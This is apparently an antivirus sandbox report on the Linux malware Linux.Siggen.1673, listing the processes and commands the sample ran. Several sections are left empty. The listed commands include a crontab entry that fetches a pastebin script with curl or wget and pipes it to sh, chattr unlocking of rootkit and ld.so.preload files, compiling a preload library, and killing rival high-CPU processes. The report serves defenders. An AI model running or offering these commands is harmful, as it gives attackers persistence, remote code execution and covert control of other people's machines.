Linux.Siggen.1673

To ensure autorun and distribution:

Creates or modifies the following files:

Creates or modifies the following symlinks:

Malicious functions:

Launches itself as a daemon

Compiles a program from source codes:

gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so

Manages services:

Launches processes:

<SAMPLE_FULL_PATH> [edac-poller]
<SAMPLE_FULL_PATH> [kpsmoused]
/bin/bash -c chattr -i /usr/lib/systemd/system/netdns.service
chattr -i /usr/lib/systemd/system/netdns.service
/bin/bash -c chkconfig --add netdns
/bin/bash -c systemctl enable netdns
/sbin/insserv netdns
/bin/bash -c chattr -i /usr/local/bin/kerberods
chattr -i /usr/local/bin/kerberods
/bin/bash -c chattr -i /usr/libexec/tmp/kerberods
chattr -i /usr/libexec/tmp/kerberods
/bin/bash -c chattr -i /usr/bin/kerberods
chattr -i /usr/bin/kerberods
/bin/bash -c chattr -i /tmp/kerberods
chattr -i /tmp/kerberods
/bin/bash -c chattr -i /etc/ld.so.preload
chattr -i /etc/ld.so.preload
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.so
chattr -i /usr/local/lib/libboost_timed.so
/bin/bash -c chattr -i /usr/local/lib/libboost_timed.c
chattr -i /usr/local/lib/libboost_timed.c
/bin/bash -c gcc /usr/local/lib/libboost_timed.c -Wall -shared -fPIC -ldl -o /usr/local/lib/libboost_timed.so
/bin/bash -c echo \"*/10 * * * * (curl -fsSL https://pastebin.com/raw/LD1QaXpQ||wget -q -O- https://pastebin.com/raw/LD1QaXpQ)|sh\" | crontab -
crontab -
/bin/bash -c chattr -i /tmp/migrationds
chattr -i /tmp/migrationds
/bin/bash -c ps aux|grep -v grep|grep -v 'migrationds'|awk '{if($3>=80.0) print $2}'|xargs kill -9
grep -v grep
ps aux
grep -v migrationds
xargs kill -9
awk {if($3>=80.0) print $2}
kill -9
/tmp/migrationds

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity